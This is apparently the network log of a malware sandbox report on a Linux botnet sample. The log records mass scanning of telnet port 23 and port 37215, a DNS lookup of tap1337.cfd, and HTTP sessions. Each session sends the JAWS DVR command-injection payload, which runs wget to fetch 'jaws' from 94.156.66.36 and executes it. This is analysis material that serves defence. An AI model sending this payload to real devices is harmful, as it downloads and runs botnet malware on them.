Mar 13, 2024 09:35:11.773646116 CET	56885	23	192.168.2.15	42.6.73.90
Mar 13, 2024 09:35:11.773646116 CET	56885	23	192.168.2.15	150.6.184.179
Mar 13, 2024 09:35:11.773646116 CET	56885	23	192.168.2.15	2.171.180.235
Mar 13, 2024 09:35:11.773658991 CET	56885	23	192.168.2.15	87.101.12.89
Mar 13, 2024 09:35:11.773658991 CET	56885	23	192.168.2.15	99.190.139.240
Mar 13, 2024 09:35:11.773658991 CET	56885	23	192.168.2.15	197.122.209.37
Mar 13, 2024 09:35:11.773658991 CET	56885	23	192.168.2.15	95.73.198.169
Mar 13, 2024 09:35:11.773658991 CET	56885	23	192.168.2.15	193.191.109.69
Mar 13, 2024 09:35:11.773662090 CET	56885	23	192.168.2.15	40.114.168.192
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	93.61.246.130
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	223.58.177.25
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	150.107.44.142
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	72.160.95.177
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	141.142.168.86
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	81.31.95.10
Mar 13, 2024 09:35:11.773664951 CET	56885	23	192.168.2.15	84.38.95.186
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	58.249.193.2
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	203.41.97.63
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	174.145.54.149
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	71.157.3.172
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	39.26.12.98
Mar 13, 2024 09:35:11.773670912 CET	56885	23	192.168.2.15	20.111.207.220
Mar 13, 2024 09:35:11.773672104 CET	56885	23	192.168.2.15	82.23.78.7
Mar 13, 2024 09:35:11.773678064 CET	56885	23	192.168.2.15	14.254.124.96
Mar 13, 2024 09:35:11.773672104 CET	56885	23	192.168.2.15	64.168.176.224
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	147.95.213.78
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	207.9.47.42
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	144.172.36.98
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	44.146.130.196
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	200.118.25.14
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	143.121.73.143
Mar 13, 2024 09:35:11.773684025 CET	56885	23	192.168.2.15	48.139.124.121
Mar 13, 2024 09:35:11.773684978 CET	56885	23	192.168.2.15	87.246.6.238
Mar 13, 2024 09:35:11.773684978 CET	56885	23	192.168.2.15	69.243.37.90
Mar 13, 2024 09:35:11.773699999 CET	56885	23	192.168.2.15	168.3.67.175
Mar 13, 2024 09:35:11.773699999 CET	56885	23	192.168.2.15	75.224.66.11
Mar 13, 2024 09:35:11.773699999 CET	56885	23	192.168.2.15	176.183.53.148
Mar 13, 2024 09:35:11.773699999 CET	56885	23	192.168.2.15	176.217.218.88
Mar 13, 2024 09:35:11.773705006 CET	56885	23	192.168.2.15	92.14.195.5
Mar 13, 2024 09:35:11.773699999 CET	56885	23	192.168.2.15	95.88.58.166
Mar 13, 2024 09:35:11.773705006 CET	56885	23	192.168.2.15	36.244.13.144
Mar 13, 2024 09:35:11.773700953 CET	56885	23	192.168.2.15	117.104.141.11
Mar 13, 2024 09:35:11.773705006 CET	56885	23	192.168.2.15	180.53.177.79
Mar 13, 2024 09:35:11.773710966 CET	56885	23	192.168.2.15	73.206.122.113
Mar 13, 2024 09:35:11.773700953 CET	56885	23	192.168.2.15	110.193.18.240
Mar 13, 2024 09:35:11.773705006 CET	56885	23	192.168.2.15	197.138.180.29
Mar 13, 2024 09:35:11.773700953 CET	56885	23	192.168.2.15	155.241.53.55
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	195.117.117.25
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	87.180.175.154
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	35.2.100.101
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	120.132.221.166
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	134.172.30.244
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	76.69.144.135
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	173.114.90.153
Mar 13, 2024 09:35:11.773727894 CET	56885	23	192.168.2.15	88.145.159.60
Mar 13, 2024 09:35:11.773730993 CET	56885	23	192.168.2.15	79.191.163.251
Mar 13, 2024 09:35:11.773730993 CET	56885	23	192.168.2.15	58.129.184.92
Mar 13, 2024 09:35:11.773731947 CET	56885	23	192.168.2.15	209.106.86.165
Mar 13, 2024 09:35:11.773739100 CET	56885	23	192.168.2.15	86.85.214.243
Mar 13, 2024 09:35:11.773747921 CET	56885	23	192.168.2.15	203.184.49.184
Mar 13, 2024 09:35:11.773761034 CET	56885	23	192.168.2.15	162.216.117.132
Mar 13, 2024 09:35:11.773766041 CET	56885	23	192.168.2.15	69.72.94.28
Mar 13, 2024 09:35:11.773767948 CET	56885	23	192.168.2.15	12.51.86.126
Mar 13, 2024 09:35:11.773777962 CET	56885	23	192.168.2.15	118.36.82.109
Mar 13, 2024 09:35:11.773777962 CET	56885	23	192.168.2.15	79.4.76.88
Mar 13, 2024 09:35:11.773777962 CET	56885	23	192.168.2.15	222.82.205.87
Mar 13, 2024 09:35:11.773777962 CET	56885	23	192.168.2.15	113.2.18.189
Mar 13, 2024 09:35:11.773782015 CET	56885	23	192.168.2.15	71.216.29.69
Mar 13, 2024 09:35:11.773778915 CET	56885	23	192.168.2.15	53.30.31.250
Mar 13, 2024 09:35:11.773778915 CET	56885	23	192.168.2.15	113.227.33.222
Mar 13, 2024 09:35:11.773778915 CET	56885	23	192.168.2.15	164.118.57.18
Mar 13, 2024 09:35:11.773778915 CET	56885	23	192.168.2.15	53.181.113.153
Mar 13, 2024 09:35:11.773787975 CET	56885	23	192.168.2.15	143.74.91.234
Mar 13, 2024 09:35:11.773787975 CET	56885	23	192.168.2.15	179.117.102.121
Mar 13, 2024 09:35:11.773798943 CET	56885	23	192.168.2.15	95.154.138.226
Mar 13, 2024 09:35:11.773798943 CET	56885	23	192.168.2.15	90.117.159.251
Mar 13, 2024 09:35:11.773798943 CET	56885	23	192.168.2.15	210.135.18.48
Mar 13, 2024 09:35:11.773798943 CET	56885	23	192.168.2.15	208.107.225.185
Mar 13, 2024 09:35:11.773798943 CET	56885	23	192.168.2.15	160.93.163.193
Mar 13, 2024 09:35:11.773803949 CET	56885	23	192.168.2.15	166.74.52.176
Mar 13, 2024 09:35:11.773809910 CET	56885	23	192.168.2.15	152.108.77.67
Mar 13, 2024 09:35:11.773816109 CET	56885	23	192.168.2.15	60.189.234.42
Mar 13, 2024 09:35:11.773816109 CET	56885	23	192.168.2.15	24.65.2.161
Mar 13, 2024 09:35:11.773816109 CET	56885	23	192.168.2.15	71.129.205.228
Mar 13, 2024 09:35:11.773817062 CET	56885	23	192.168.2.15	84.20.101.186
Mar 13, 2024 09:35:11.773828983 CET	56885	23	192.168.2.15	173.100.65.54
Mar 13, 2024 09:35:11.773842096 CET	56885	23	192.168.2.15	198.86.71.0
Mar 13, 2024 09:35:11.773842096 CET	56885	23	192.168.2.15	199.31.202.135
Mar 13, 2024 09:35:11.773844004 CET	56885	23	192.168.2.15	80.62.101.57
Mar 13, 2024 09:35:11.773844004 CET	56885	23	192.168.2.15	149.197.103.1
Mar 13, 2024 09:35:11.773844004 CET	56885	23	192.168.2.15	181.248.116.239
Mar 13, 2024 09:35:11.773845911 CET	56885	23	192.168.2.15	185.187.51.59
Mar 13, 2024 09:35:11.773845911 CET	56885	23	192.168.2.15	72.122.177.131
Mar 13, 2024 09:35:11.773850918 CET	56885	23	192.168.2.15	46.90.34.132
Mar 13, 2024 09:35:11.773850918 CET	56885	23	192.168.2.15	87.15.137.188
Mar 13, 2024 09:35:11.773850918 CET	56885	23	192.168.2.15	147.233.80.34
Mar 13, 2024 09:35:11.773873091 CET	56885	23	192.168.2.15	138.214.22.112
Mar 13, 2024 09:35:11.773890972 CET	56885	23	192.168.2.15	221.73.9.17
Mar 13, 2024 09:35:11.773890972 CET	56885	23	192.168.2.15	153.239.216.154
Mar 13, 2024 09:35:11.773895979 CET	56885	23	192.168.2.15	166.63.49.37
Mar 13, 2024 09:35:11.773906946 CET	56885	23	192.168.2.15	87.62.3.249
Mar 13, 2024 09:35:11.773906946 CET	56885	23	192.168.2.15	188.205.212.241
Mar 13, 2024 09:35:11.773906946 CET	56885	23	192.168.2.15	143.138.110.140
Mar 13, 2024 09:35:11.773906946 CET	56885	23	192.168.2.15	60.176.121.114
Mar 13, 2024 09:35:11.809709072 CET	80	57141	51.38.177.155	192.168.2.15
Mar 13, 2024 09:35:11.809788942 CET	57141	80	192.168.2.15	51.38.177.155
Mar 13, 2024 09:35:11.833966017 CET	80	57141	151.20.232.184	192.168.2.15
Mar 13, 2024 09:35:11.957535982 CET	80	57141	182.221.224.231	192.168.2.15
Mar 13, 2024 09:35:11.970082998 CET	23	55508	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:11.974965096 CET	23	55510	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:11.975047112 CET	55510	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:12.019740105 CET	80	57141	154.212.209.149	192.168.2.15
Mar 13, 2024 09:35:12.019823074 CET	57141	80	192.168.2.15	154.212.209.149
Mar 13, 2024 09:35:12.171525002 CET	23	55510	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:12.171649933 CET	55510	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:12.171660900 CET	55512	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:12.322509050 CET	57653	37215	192.168.2.15	197.138.152.23
Mar 13, 2024 09:35:12.322518110 CET	57653	37215	192.168.2.15	41.66.229.32
Mar 13, 2024 09:35:12.322516918 CET	57653	37215	192.168.2.15	156.144.18.112
Mar 13, 2024 09:35:12.322518110 CET	57653	37215	192.168.2.15	41.74.246.61
Mar 13, 2024 09:35:12.322523117 CET	57653	37215	192.168.2.15	197.241.207.23
Mar 13, 2024 09:35:12.322523117 CET	57653	37215	192.168.2.15	197.31.216.239
Mar 13, 2024 09:35:12.322523117 CET	57653	37215	192.168.2.15	41.121.152.18
Mar 13, 2024 09:35:12.322523117 CET	57653	37215	192.168.2.15	197.203.217.223
Mar 13, 2024 09:35:12.322523117 CET	57653	37215	192.168.2.15	41.243.79.117
Mar 13, 2024 09:35:12.322526932 CET	57653	37215	192.168.2.15	197.234.179.123
Mar 13, 2024 09:35:12.322536945 CET	57653	37215	192.168.2.15	197.11.104.218
Mar 13, 2024 09:35:12.322540998 CET	57653	37215	192.168.2.15	156.254.236.59
Mar 13, 2024 09:35:12.322556019 CET	57653	37215	192.168.2.15	197.126.131.57
Mar 13, 2024 09:35:12.322556019 CET	57653	37215	192.168.2.15	156.104.66.121
Mar 13, 2024 09:35:12.322571039 CET	57653	37215	192.168.2.15	156.243.135.59
Mar 13, 2024 09:35:12.322577953 CET	57653	37215	192.168.2.15	41.180.105.50
Mar 13, 2024 09:35:12.322577953 CET	57653	37215	192.168.2.15	156.250.224.74
Mar 13, 2024 09:35:12.322592020 CET	57653	37215	192.168.2.15	41.35.161.220
Mar 13, 2024 09:35:12.322597980 CET	57653	37215	192.168.2.15	41.128.236.142
Mar 13, 2024 09:35:12.322597980 CET	57653	37215	192.168.2.15	156.164.160.106
Mar 13, 2024 09:35:12.322597980 CET	57653	37215	192.168.2.15	197.113.213.221
Mar 13, 2024 09:35:12.322597980 CET	57653	37215	192.168.2.15	41.213.120.149
Mar 13, 2024 09:35:12.322597980 CET	57653	37215	192.168.2.15	41.56.39.48
Mar 13, 2024 09:35:12.322601080 CET	57653	37215	192.168.2.15	156.135.78.99
Mar 13, 2024 09:35:12.322617054 CET	57653	37215	192.168.2.15	156.196.10.57
Mar 13, 2024 09:35:12.322617054 CET	57653	37215	192.168.2.15	41.166.159.244
Mar 13, 2024 09:35:12.322622061 CET	57653	37215	192.168.2.15	41.102.47.207
Mar 13, 2024 09:35:12.322623014 CET	57653	37215	192.168.2.15	197.33.238.186
Mar 13, 2024 09:35:12.322628975 CET	57653	37215	192.168.2.15	197.67.121.159
Mar 13, 2024 09:35:12.322633028 CET	57653	37215	192.168.2.15	156.139.117.242
Mar 13, 2024 09:35:12.322633028 CET	57653	37215	192.168.2.15	156.157.115.210
Mar 13, 2024 09:35:12.322633982 CET	57653	37215	192.168.2.15	156.19.55.255
Mar 13, 2024 09:35:12.322634935 CET	57653	37215	192.168.2.15	197.11.117.13
Mar 13, 2024 09:35:12.322654963 CET	57653	37215	192.168.2.15	156.7.64.98
Mar 13, 2024 09:35:12.322659016 CET	57653	37215	192.168.2.15	156.236.179.129
Mar 13, 2024 09:35:12.322662115 CET	57653	37215	192.168.2.15	41.152.62.145
Mar 13, 2024 09:35:12.322662115 CET	57653	37215	192.168.2.15	197.191.145.37
Mar 13, 2024 09:35:12.322674036 CET	57653	37215	192.168.2.15	41.54.79.40
Mar 13, 2024 09:35:12.322675943 CET	57653	37215	192.168.2.15	197.5.197.109
Mar 13, 2024 09:35:12.322676897 CET	57653	37215	192.168.2.15	197.125.142.34
Mar 13, 2024 09:35:12.322681904 CET	57653	37215	192.168.2.15	197.231.73.113
Mar 13, 2024 09:35:12.322690964 CET	57653	37215	192.168.2.15	156.155.157.34
Mar 13, 2024 09:35:12.322704077 CET	57653	37215	192.168.2.15	41.125.181.166

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2024 09:34:58.288728952 CET	192.168.2.15	8.8.8.8	0x881c	Standard query (0)	tap1337.cfd	A (IP address)	IN (0x0001)	false
Mar 13, 2024 09:35:03.293201923 CET	192.168.2.15	8.8.8.8	0x881c	Standard query (0)	tap1337.cfd	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2024 09:35:03.395678043 CET	8.8.8.8	192.168.2.15	0x881c	No error (0)	tap1337.cfd		94.156.66.36	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.15	45018	91.246.63.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:00.424539089 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:00.536822081 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:01 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.15	50854	116.162.161.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:02.865988970 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:04.535984039 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:04.848237038 CET	172	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Mar 2024 08:35:04 GMT Content-Type: text/html Content-Length: 4 Connection: keep-alive ETag: "6554816b-4" Server: UNGX-01 Data Raw: 34 30 33 0a Data Ascii: 403

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.15	52734	184.85.86.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:02.898597002 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.246107101 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:35:03 GMT Date: Wed, 13 Mar 2024 08:35:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 39 34 65 36 31 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 30 33 26 23 34 36 3b 32 62 31 36 63 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.394e6168.1710318903.2b16c2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.15	34984	23.58.104.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:02.898657084 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.246145010 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:35:03 GMT Date: Wed, 13 Mar 2024 08:35:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 37 63 37 63 65 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 30 33 26 23 34 36 3b 66 66 65 65 33 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.77c7ce17.1710318903.ffee33</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.15	45886	104.105.93.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:03.334952116 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.423377037 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:35:03 GMT Date: Wed, 13 Mar 2024 08:35:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 66 37 38 34 36 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 30 33 26 23 34 36 3b 35 63 62 34 32 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.af784668.1710318903.5cb427</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.15	49944	107.190.228.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:03.402792931 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.608026028 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.763525009 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.15	60192	92.117.151.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:03.425143957 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.15	46008	182.23.79.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:03.594208956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:03.937958002 CET	135	IN	HTTP/1.0 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws
Mar 13, 2024 09:35:04.754493952 CET	135	IN	HTTP/1.0 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.15	58432	37.16.12.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:03.983957052 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.15	34890	34.143.46.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:04.011138916 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:04.125833988 CET	583	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:04 GMT Server: Apache/2.4.56 (Debian) Content-Length: 389 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 69 67 6d 2d 76 30 31 2d 64 65 6e 79 2d 61 